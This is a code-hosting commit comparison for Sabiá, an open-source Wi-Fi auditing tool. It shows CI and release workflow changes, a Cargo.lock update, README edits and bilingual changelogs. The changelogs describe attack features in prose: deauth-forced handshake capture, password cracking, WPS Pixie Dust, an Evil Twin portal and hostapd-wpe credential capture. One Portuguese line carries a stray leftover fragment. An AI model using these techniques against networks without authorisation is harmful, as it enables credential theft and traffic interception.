Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c7638a2f4e | ||
|
|
d885d92643 | ||
|
|
0e31d28342 | ||
|
|
9bcdd6c139 | ||
|
|
f62e7fd0a1 | ||
|
|
62ce8b60d5 | ||
|
|
d3ddf86317 | ||
|
|
6e0cd7cf10 | ||
|
|
a3ca73e610 | ||
|
|
7b39c67830 | ||
|
|
91aacba939 | ||
|
|
f83654506e | ||
|
|
5477b8fb03 |
No files matched your search
@@ -4,9 +4,9 @@ on:
|
||||
# Mudança só de documentação não precisa de 6 jobs em 3 sistemas.
|
||||
push:
|
||||
branches: [main]
|
||||
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**']
|
||||
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**', '.wolf/**', '.claude/**', 'scripts/release-notes.sh', '.gitea/workflows/release.yml']
|
||||
pull_request:
|
||||
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**']
|
||||
paths-ignore: ['**.md', 'docs/**', 'LICENSE*', '.gitignore', '.githooks/**', '.wolf/**', '.claude/**', 'scripts/release-notes.sh', '.gitea/workflows/release.yml']
|
||||
|
||||
concurrency:
|
||||
group: ci-${{ github.ref }}
|
||||
@@ -15,17 +15,24 @@ concurrency:
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
RUSTFLAGS: -D warnings
|
||||
# O runner mantém /opt/hostedtoolcache num volume que sobrevive entre jobs:
|
||||
# a toolchain do rustup, o registry do cargo e o diretório target ficam ali,
|
||||
# então nada disso é baixado ou recompilado do zero a cada execução. Cada job
|
||||
# usa o seu próprio target (flags diferentes invalidariam o de outro job).
|
||||
CARGO_HOME: /opt/hostedtoolcache/cargo
|
||||
RUSTUP_HOME: /opt/hostedtoolcache/rustup
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Formatação e clippy
|
||||
runs-on: ubuntu-24.04
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-lint
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: rustfmt, clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 22
|
||||
@@ -34,37 +41,39 @@ jobs:
|
||||
- run: cargo fmt --all -- --check
|
||||
- run: cargo clippy --workspace --all-targets
|
||||
|
||||
# Windows e macOS saem: o Gitea aqui tem um único runner, Linux arm64.
|
||||
test:
|
||||
name: Testes (${{ matrix.os }})
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-24.04, windows-latest, macos-latest]
|
||||
name: Testes (Linux)
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-test
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- run: cargo test --workspace
|
||||
|
||||
audit:
|
||||
name: Auditoria de dependências
|
||||
runs-on: ubuntu-24.04
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: rustsec/audit-check@v2
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
# rustsec/audit-check depends on GitHub's checks API. cargo-audit itself
|
||||
# needs nothing but the advisory database, and installing it once into the
|
||||
# persistent CARGO_HOME makes every later run skip the compile.
|
||||
- name: cargo audit
|
||||
run: |
|
||||
command -v cargo-audit >/dev/null || cargo install cargo-audit --locked
|
||||
cargo audit
|
||||
|
||||
gui:
|
||||
name: Compila o app desktop (Linux)
|
||||
runs-on: ubuntu-24.04
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-gui
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: apps/gui/src-tauri
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 22
|
||||
@@ -0,0 +1,106 @@
|
||||
name: Release
|
||||
|
||||
# Quando uma tag v* é enviada: cria a entrada em "Releases" com as notas do
|
||||
# CHANGELOG.md e anexa o CLI compilado (scripts/package-cli.sh), com um .sha256 ao
|
||||
# lado de cada pacote. É o que o atualizador (`sabia update`) baixa.
|
||||
#
|
||||
# O CLI é só para Linux (x86_64 e aarch64), compilado no runner Linux; o x86_64
|
||||
# por compilação cruzada. Windows e macOS têm só o app desktop.
|
||||
on:
|
||||
push:
|
||||
tags: ['v*']
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
# Toolchain e registry do cargo ficam no volume que sobrevive entre jobs.
|
||||
CARGO_HOME: /opt/hostedtoolcache/cargo
|
||||
RUSTUP_HOME: /opt/hostedtoolcache/rustup
|
||||
|
||||
jobs:
|
||||
release:
|
||||
name: Cria a release
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- name: Release
|
||||
env:
|
||||
TAG: ${{ gitea.ref_name }}
|
||||
TOKEN: ${{ gitea.token }}
|
||||
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
|
||||
run: |
|
||||
# Uma execução repetida não recria a release.
|
||||
if curl -fsS -H "Authorization: token $TOKEN" "$API/releases/tags/$TAG" >/dev/null 2>&1; then
|
||||
echo "a release $TAG já existe"; exit 0
|
||||
fi
|
||||
scripts/release-notes.sh "$TAG" > notes.md
|
||||
pre=false; case "$TAG" in *-*) pre=true ;; esac
|
||||
jq -n --arg tag "$TAG" --arg name "Sabiá ${TAG#v}" --rawfile body notes.md --argjson pre "$pre" \
|
||||
'{tag_name:$tag, name:$name, body:$body, prerelease:$pre}' > release.json
|
||||
curl -fsS -X POST "$API/releases" -H "Authorization: token $TOKEN" \
|
||||
-H 'Content-Type: application/json' -d @release.json >/dev/null
|
||||
|
||||
cli:
|
||||
name: CLI (${{ matrix.platform }})
|
||||
needs: release
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-release
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- { platform: linux-aarch64, target: aarch64-unknown-linux-gnu, apt: "" }
|
||||
- { platform: linux-x86_64, target: x86_64-unknown-linux-gnu, apt: "gcc-x86-64-linux-gnu" }
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: ${{ matrix.target }}
|
||||
- name: Linker e ferramentas desta plataforma
|
||||
if: ${{ matrix.apt != '' }}
|
||||
run: |
|
||||
apt-get update -qq
|
||||
apt-get install -y -qq ${{ matrix.apt }}
|
||||
- name: Compila e empacota
|
||||
run: scripts/package-cli.sh "${{ gitea.ref_name }}" "${{ matrix.platform }}" "${{ matrix.target }}" | tee packages.txt
|
||||
- name: Anexa à release
|
||||
env:
|
||||
TOKEN: ${{ gitea.token }}
|
||||
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
|
||||
run: scripts/release-upload.sh "${{ gitea.ref_name }}" $(cat packages.txt)
|
||||
|
||||
gui:
|
||||
name: App desktop (${{ matrix.platform }})
|
||||
needs: release
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
CARGO_TARGET_DIR: /opt/hostedtoolcache/cargo-target/sabia-release-gui
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
platform: [linux, windows]
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: 22
|
||||
- name: Dependências do Tauri (Linux)
|
||||
if: matrix.platform == 'linux'
|
||||
timeout-minutes: 25
|
||||
run: scripts/apt-install.sh ~/apt-cache libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev patchelf
|
||||
- name: Ferramentas para compilação cruzada (Windows)
|
||||
if: matrix.platform == 'windows'
|
||||
run: |
|
||||
apt-get update -qq
|
||||
apt-get install -y -qq nsis lld llvm clang
|
||||
command -v cargo-xwin >/dev/null || cargo install cargo-xwin --locked
|
||||
- name: Compila e empacota
|
||||
run: scripts/build-gui.sh "${{ matrix.platform }}"
|
||||
- name: Anexa à release
|
||||
env:
|
||||
TOKEN: ${{ gitea.token }}
|
||||
API: ${{ gitea.server_url }}/api/v1/repos/${{ gitea.repository }}
|
||||
run: scripts/release-upload.sh "${{ gitea.ref_name }}" dist-gui/*
|
||||
@@ -18,3 +18,7 @@ apps/gui/src-tauri/target
|
||||
CLAUDE.md
|
||||
AGENTS.md
|
||||
GEMINI.md
|
||||
|
||||
# Pacotes gerados por scripts/package-cli.sh
|
||||
/sabia-v*
|
||||
/dist-gui
|
||||
@@ -4,6 +4,94 @@
|
||||
|
||||
Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow SemVer.
|
||||
|
||||
## [1.0.1] - 2026-10-30
|
||||
|
||||
The project moved from GitHub to Gitea, and the update check followed it.
|
||||
|
||||
### Changed
|
||||
- **Updates now come from Gitea.** `sabia update` and the desktop app's "Update now"
|
||||
read the latest release from `git.lucasrguerra.dev.br` instead of the GitHub API.
|
||||
Versions up to 1.0.0 still look at GitHub, which is no longer reachable, so they
|
||||
cannot find this release: download 1.0.1 once, and later updates are automatic.
|
||||
- Release packages: the CLI for Linux x86_64 and aarch64 (built by the Gitea CI when
|
||||
a `v*` tag is pushed, with a `.sha256` next to each package), and the desktop app
|
||||
for Linux (`.AppImage`, `.deb`) and Windows (NSIS `.exe` installer, cross-compiled
|
||||
from Linux by `scripts/build-gui.sh`). **There is no Windows CLI and no macOS build
|
||||
any more**: the CLI is Linux-only, and macOS needs Apple's SDK and code signing,
|
||||
which this project's CI cannot provide.
|
||||
|
||||
### Fixed
|
||||
- `sabia update` refuses to run from the desktop app's executable (`sabia-gui`).
|
||||
The release package contains the CLI, and replacing the app with it would have
|
||||
broken the app; the app now points to the downloads page instead.
|
||||
|
||||
## [1.0.0] - 2026-10-24
|
||||
|
||||
First stable release: real-hardware validation across the whole attack surface, a much more complete cracking pipeline, two new attacks (WPS, Evil Twin), a redesigned report, and several reliability fixes found only by testing against live Wi-Fi networks.
|
||||
|
||||
### Added
|
||||
- **Cracking:** default dictionary replaced by a 9.7M-password list (rockyou +
|
||||
Probable-Wordlists, deduplicated, gzip-embedded); hashcat-style **mutation
|
||||
rules** (uppercase, numeric/symbol suffixes, simple leet); **mask brute
|
||||
force** (`?d?l?u?s?a` syntax); **`.hc22000` export** (single or batch) to
|
||||
hand a handshake to hashcat/John.
|
||||
- **WPS attack:** PIN/Pixie Dust via a bundled `reaver` (extracted at
|
||||
runtime), or `bully` when installed on the system.
|
||||
- **Evil Twin:** clones an already-seen AP (open SSID) on a second interface
|
||||
with a captive portal, for WPA/WPA2-PSK — the submitted password is only
|
||||
accepted after being verified against the real captured handshake, never
|
||||
"accepts anything". An **Enterprise (802.1X/EAP)** variant captures
|
||||
credentials automatically via `hostapd-wpe`, no portal or human action
|
||||
needed, since the credential travels in the EAP handshake itself.
|
||||
- **CCMP traffic decryption** for a client once its handshake's password is
|
||||
known (Temporal Key derived from the cracked PMK).
|
||||
- **Channel-interference scoring** per band and **security findings** (open
|
||||
network, missing PMF, WPS exposed, possible evil twin by duplicate SSID).
|
||||
- **Redesigned audit report:** full-page cover with embedded logo, table of
|
||||
contents, running header/footer via `@page` margin boxes (current
|
||||
section, page numbers), KPI and findings cards with severity colors —
|
||||
still paginated by Paged.js in the browser, printable to PDF.
|
||||
- `ScanSnapshot.warning`: tells you when a capture has been running for a
|
||||
while without receiving a single frame — a card that accepts turning
|
||||
monitor mode on without actually delivering capture (common with
|
||||
built-in laptop Wi-Fi) now says so, instead of silently "listening".
|
||||
|
||||
### Fixed
|
||||
- **Handshake capture never completed on real networks:** `eapol.rs` read
|
||||
`key_info`/`replay_counter`/`key_data_len` as little-endian; those
|
||||
802.1X fields are big-endian. Deauth worked, EAPOL frames were seen, but
|
||||
`HandshakeTracker` silently discarded every one — 0 handshakes no matter
|
||||
how much traffic was generated. The project's own synthetic test frames
|
||||
made the same mistake symmetrically, so round-trip tests never caught
|
||||
it; verified live against a real AP after the fix.
|
||||
- **Monitor mode fighting NetworkManager:** `set_monitor()` now releases
|
||||
the interface from NetworkManager before switching modes and returns it
|
||||
afterward — without this, NM reasserted its own connection within
|
||||
seconds and capture died with "is in managed mode".
|
||||
- **Evil Twin left the system half-configured if the process died mid-run**
|
||||
(Ctrl+C, `kill -9`, power loss): both interfaces stuck `managed=no`
|
||||
forever, Wi-Fi gone from the system panel. A state file plus a
|
||||
self-healing pass on every engine start now undoes this automatically;
|
||||
`sabia ui` also handles SIGINT gracefully.
|
||||
- **Repeated deauth/disassoc frames were dropped as duplicates** after the
|
||||
first send — the same Sequence Control was reused on every injection;
|
||||
now increments per frame.
|
||||
- **Network list reordered under the cursor** during capture, as signal-based
|
||||
sorting reacted to every 1-2 dBm fluctuation; order is now stable
|
||||
(arrival order, signal rounded to 4 dBm buckets).
|
||||
- **"Force handshake" failed if capture had been stopped:** it now resumes
|
||||
capture automatically and waits for the target to reappear with a known
|
||||
channel before starting the job, instead of locking onto whatever
|
||||
channel the scanner happened to be hopping through.
|
||||
- **Attacks tab layout left large empty gaps** when two cards of very
|
||||
different heights shared a grid row; switched to a masonry-style column
|
||||
layout.
|
||||
|
||||
### Changed
|
||||
- `crack_reader`/`crack_mask` parallelize across available cores and reuse
|
||||
the HMAC base per iteration instead of reconstructing it — roughly 640x
|
||||
faster in release builds versus the original debug/single-thread path.
|
||||
|
||||
## [0.1.0] - 2026-10-23
|
||||
|
||||
First release: CLI, desktop app and shared core.
|
||||
|
||||
@@ -4,6 +4,100 @@
|
||||
|
||||
Formato baseado em [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/); versões seguem SemVer.
|
||||
|
||||
## [1.0.1] - 2026-10-30
|
||||
|
||||
O projeto saiu do GitHub para o Gitea, e a verificação de atualização foi junto.
|
||||
|
||||
### Alterado
|
||||
- **As atualizações agora vêm do Gitea.** O `sabia update` e o "Atualizar agora" do app
|
||||
desktop leem a última release em `git.lucasrguerra.dev.br`, e não mais a API do
|
||||
GitHub. As versões até a 1.0.0 ainda olham o GitHub, que não responde mais, e por isso
|
||||
não enxergam esta release: baixe a 1.0.1 uma vez, e as próximas atualizações são automáticas.
|
||||
- Pacotes da release: o CLI para Linux x86_64 e aarch64 (compilado pelo CI do Gitea
|
||||
quando uma tag `v*` é enviada, com um `.sha256` ao lado de cada pacote) e o app desktop
|
||||
para Linux (`.AppImage`, `.deb`) e Windows (instalador NSIS `.exe`, compilado a partir
|
||||
do Linux pelo `scripts/build-gui.sh`). **Não há mais CLI para Windows nem build para
|
||||
macOS**: o CLI é só para Linux, e o macOS exige o SDK e a assinatura da Apple, que o CI
|
||||
deste projeto não tem.
|
||||
|
||||
### Corrigido
|
||||
- O `sabia update` se recusa a rodar a partir do executável do app desktop (`sabia-gui`).
|
||||
O pacote da release contém o CLI, e trocar o app por ele o quebraria; o app passa a
|
||||
apontar para a página de downloads.
|
||||
|
||||
## [1.0.0] - 2026-10-24
|
||||
|
||||
Primeira versão estável: validação em hardware real por toda a superfície de ataque, um pipeline de quebra bem mais completo, dois ataques novos (WPS, Evil Twin), relatório redesenhado e várias correções de confiabilidade que só apareceram testando contra redes Wi-Fi de verdade.
|
||||
|
||||
### Adicionado
|
||||
- **Quebra de senha:** dicionário padrão trocado por uma lista de 9,7 milhões
|
||||
de senhas (rockyou + Probable-Wordlists, deduplicados, comprimida e
|
||||
embutida no binário); **regras de mutação** estilo hashcat (maiúscula,
|
||||
sufixos numéricos/símbolos, leet simples); **força bruta por máscara**
|
||||
(sintaxe `?d?l?u?s?a`); **exportação `.hc22000`** (individual ou em lote)
|
||||
para levar o handshake direto ao hashcat/John.
|
||||
- **Ataque WPS:** PIN/Pixie Dust via `reaver` embutido (extraído em tempo de
|
||||
execução), ou `bully` quando instalado no sistema.
|
||||
- **Evil Twin:** clona um AP já visto na sessão (SSID aberto) numa segunda
|
||||
interface com portal cativo, para WPA/WPA2-PSK — a senha só é aceita
|
||||
depois de conferida de verdade contra o handshake real já capturado,
|
||||
nunca "aceita qualquer coisa". Uma variante **Enterprise (802.1X/EAP)**
|
||||
captura credenciais automaticamente via `hostapd-wpe`, sem portal nem
|
||||
ação humana, já que a credencial viaja no próprio handshake EAP.
|
||||
- **Decriptação de tráfego CCMP** de um cliente assim que a senha do
|
||||
handshake dele é conhecida (Temporal Key derivada da PMK quebrada).
|
||||
- **Pontuação de interferência de canais** por banda e **achados de
|
||||
segurança** (rede aberta, PMF ausente, WPS exposto, possível evil twin
|
||||
por SSID duplicado).
|
||||
- **Relatório de auditoria redesenhado:** capa em página cheia com o logo
|
||||
embutido, sumário com âncoras, cabeçalho/rodapé corridos via margin
|
||||
boxes do `@page` (seção atual, numeração de página), cards de KPI e
|
||||
achados com cor por severidade — a paginação continua feita pelo
|
||||
Paged.js no navegador, imprimível em PDF.
|
||||
- `ScanSnapshot.warning`: avisa quando uma captura está rodando há um
|
||||
tempo sem receber nenhum quadro — uma placa que aceita ativar modo
|
||||
monitor sem realmente entregar captura (comum em Wi-Fi interno de
|
||||
notebook) agora diz isso, em vez de ficar "escutando o ar" caladinha.
|
||||
|
||||
### Corrigido
|
||||
- **Captura de handshake nunca completava em rede real:** `eapol.rs` lia
|
||||
`key_info`/`replay_counter`/`key_data_len` como little-endian; esses
|
||||
campos do 802.1X são big-endian. O deauth funcionava, os quadros EAPOL
|
||||
eram vistos, mas o `HandshakeTracker` descartava todos silenciosamente —
|
||||
0 handshakes não importa quanto tráfego fosse gerado. Os próprios
|
||||
quadros sintéticos de teste do projeto cometiam o mesmo engano
|
||||
simetricamente, então os testes de ida e volta nunca pegaram isso;
|
||||
verificado ao vivo contra um AP real depois da correção.
|
||||
- **Modo monitor brigando com o NetworkManager:** `set_monitor()` agora
|
||||
solta a interface do NetworkManager antes de trocar de modo e devolve
|
||||
depois — sem isso o NM reafirmava a própria conexão em segundos e a
|
||||
captura caía com "está em modo managed".
|
||||
- **Evil Twin deixava o sistema pela metade se o processo morresse no
|
||||
meio** (Ctrl+C, `kill -9`, queda de energia): as duas interfaces ficavam
|
||||
presas em `managed=no` pra sempre, Wi-Fi sumia do painel do sistema. Um
|
||||
arquivo de estado mais uma rotina de autocura a cada início do engine
|
||||
desfazem isso sozinhos agora; o `sabia ui` também trata SIGINT
|
||||
graciosamente.
|
||||
- **Quadros repetidos de deauth/disassoc eram descartados como duplicata**
|
||||
depois do primeiro envio — o mesmo Sequence Control era reusado em toda
|
||||
injeção; agora incrementa por quadro.
|
||||
- **Lista de redes reordenava debaixo do cursor** durante a captura, porque
|
||||
a ordenação por sinal reagia a cada oscilação de 1-2 dBm; a ordem agora
|
||||
é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm).
|
||||
- **"Forçar handshake" falhava se a captura tivesse sido parada:** agora
|
||||
religa a captura sozinho e espera o alvo reaparecer com canal conhecido
|
||||
antes de disparar o job, em vez de travar no canal em que o scanner por
|
||||
acaso estava saltando.
|
||||
- **Grid da aba Ataques deixava buracos vazios grandes** quando dois cards
|
||||
de alturas muito diferentes caíam na mesma linha; trocado por um layout
|
||||
de colunas tipo alvenaria.
|
||||
|
||||
### Alterado
|
||||
- `crack_reader`/`crack_mask` paralelizam entre os núcleos disponíveis e
|
||||
reaproveitam a base do HMAC por iteração em vez de reconstruí-la — cerca
|
||||
de 640x mais rápido em build release comparado ao caminho original
|
||||
debug/single-thread.
|
||||
|
||||
## [0.1.0] - 2026-10-23
|
||||
|
||||
Primeira versão: CLI, app desktop e núcleo compartilhado.
|
||||
|
||||
+2
-2
@@ -17,9 +17,9 @@ cargo test --workspace
|
||||
node scripts/check-ui-i18n.mjs # UI translation coverage
|
||||
```
|
||||
|
||||
CI runs on Linux, Windows and macOS; run these before pushing — almost everything that fails CI shows up here in seconds. Documentation-only changes (`*.md`, `docs/`) are light on CI.
|
||||
CI runs on Linux only (Gitea has one runner); run these before pushing — almost everything that fails CI shows up here in seconds. Documentation-only changes (`*.md`, `docs/`) are light on CI.
|
||||
|
||||
Live capture exists only on Linux (`AF_PACKET` + netlink); on Windows and macOS those paths compile but aren't exercised. Parsing and cracking tests run on all three, because they're offline.
|
||||
Live capture exists only on Linux (`AF_PACKET` + netlink); the code behind Windows and macOS paths still compiles and is covered by `cargo check`, but neither runs in CI nor is built for release.
|
||||
|
||||
## Where to work
|
||||
|
||||
|
||||
@@ -17,9 +17,9 @@ cargo test --workspace
|
||||
node scripts/check-ui-i18n.mjs # cobertura da tradução da interface
|
||||
```
|
||||
|
||||
O CI roda em Linux, Windows e macOS; rode esses comandos antes do push — quase tudo que faz o CI falhar aparece aqui em segundos. Mudanças só de documentação (`*.md`, `docs/`) são leves no CI.
|
||||
O CI roda só em Linux (o Gitea tem um único runner); rode esses comandos antes do push — quase tudo que faz o CI falhar aparece aqui em segundos. Mudanças só de documentação (`*.md`, `docs/`) são leves no CI.
|
||||
|
||||
A captura ao vivo só existe no Linux (`AF_PACKET` + netlink); em Windows e macOS esses caminhos são compilados mas não exercitados. Testes de parsing e de quebra rodam nas três plataformas, porque são offline.
|
||||
A captura ao vivo só existe no Linux (`AF_PACKET` + netlink); o código dos caminhos de Windows e macOS continua compilando e é coberto pelo `cargo check`, mas não roda no CI nem é compilado para release. são offline.
|
||||
|
||||
## Onde mexer
|
||||
|
||||
|
||||
Generated
+75
-2
@@ -2,6 +2,23 @@
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "aes"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cipher",
|
||||
"cpufeatures",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstream"
|
||||
version = "1.0.0"
|
||||
@@ -88,6 +105,16 @@ version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
|
||||
|
||||
[[package]]
|
||||
name = "cipher"
|
||||
version = "0.4.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||
dependencies = [
|
||||
"crypto-common",
|
||||
"inout",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "4.6.7"
|
||||
@@ -143,6 +170,15 @@ dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crc32fast"
|
||||
version = "1.5.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0ba106e844045ddc02c20768ac4b0b7cb45f2cc2ecbd833ac9f5dacb183c2055"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crypto-common"
|
||||
version = "0.1.7"
|
||||
@@ -209,6 +245,16 @@ version = "2.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
|
||||
|
||||
[[package]]
|
||||
name = "flate2"
|
||||
version = "1.1.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb"
|
||||
dependencies = [
|
||||
"crc32fast",
|
||||
"miniz_oxide",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "generic-array"
|
||||
version = "0.14.7"
|
||||
@@ -245,6 +291,15 @@ dependencies = [
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "inout"
|
||||
version = "0.1.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "is_terminal_polyfill"
|
||||
version = "1.70.2"
|
||||
@@ -285,6 +340,16 @@ version = "2.8.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.9.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
"simd-adler32",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.31.3"
|
||||
@@ -375,7 +440,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "sabia-cli"
|
||||
version = "0.1.0"
|
||||
version = "1.0.1"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"ctrlc",
|
||||
@@ -386,8 +451,10 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "sabia-core"
|
||||
version = "0.1.0"
|
||||
version = "1.0.1"
|
||||
dependencies = [
|
||||
"aes",
|
||||
"flate2",
|
||||
"hmac",
|
||||
"libc",
|
||||
"md-5",
|
||||
@@ -465,6 +532,12 @@ dependencies = [
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "simd-adler32"
|
||||
version = "0.3.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea"
|
||||
|
||||
[[package]]
|
||||
name = "strsim"
|
||||
version = "0.11.1"
|
||||
|
||||
+2
-2
@@ -3,10 +3,10 @@ resolver = "2"
|
||||
members = ["crates/sabia-core", "crates/sabia-cli"]
|
||||
|
||||
[workspace.package]
|
||||
version = "0.1.0"
|
||||
version = "1.0.1"
|
||||
edition = "2021"
|
||||
license = "MIT OR Apache-2.0"
|
||||
repository = "https://github.com/lucasrguerra/sabia"
|
||||
repository = "https://git.lucasrguerra.dev.br/lucasrguerra/sabia"
|
||||
authors = ["Sabiá contributors"]
|
||||
rust-version = "1.80"
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
<p align="center"><img src="apps/gui/ui/sabia.png" width="300" alt="Sabiá"></p>
|
||||
<h1 align="center">Sabiá</h1>
|
||||
<p align="center">Free and open Wi-Fi auditing.<br>Terminal and desktop app · live capture on Linux, offline analysis on Windows, Linux and macOS · authorized use.</p>
|
||||
<p align="center">Free and open Wi-Fi auditing.<br>Terminal and desktop app · live capture on Linux, offline analysis on Windows too · authorized use.</p>
|
||||
|
||||
<p align="center"><a href="docs/cli.md">Terminal</a> · <a href="docs/interface.md">Interface</a> · <a href="docs/architecture.md">Architecture</a> · <a href="ROADMAP.md">Roadmap</a> · <a href="CHANGELOG.md">Changelog</a></p>
|
||||
|
||||
@@ -10,12 +10,14 @@
|
||||
|
||||
Sabiá brings together, in a single sweep, what tools like `airodump-ng`, `hcxdumptool`, `aircrack-ng` and `wifite` do separately — in one Rust binary, with no `libpcap` dependency:
|
||||
|
||||
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal and security type.
|
||||
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, and shows which channels the radio supports.
|
||||
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs.
|
||||
- **Offline dictionary cracking:** recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — for WPA/WPA2-PSK.
|
||||
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal, security type, WPS details and vendor.
|
||||
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, recovering automatically if NetworkManager tries to reclaim the interface, and shows which channels the radio supports.
|
||||
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs; decrypts CCMP traffic for a client once its password is known.
|
||||
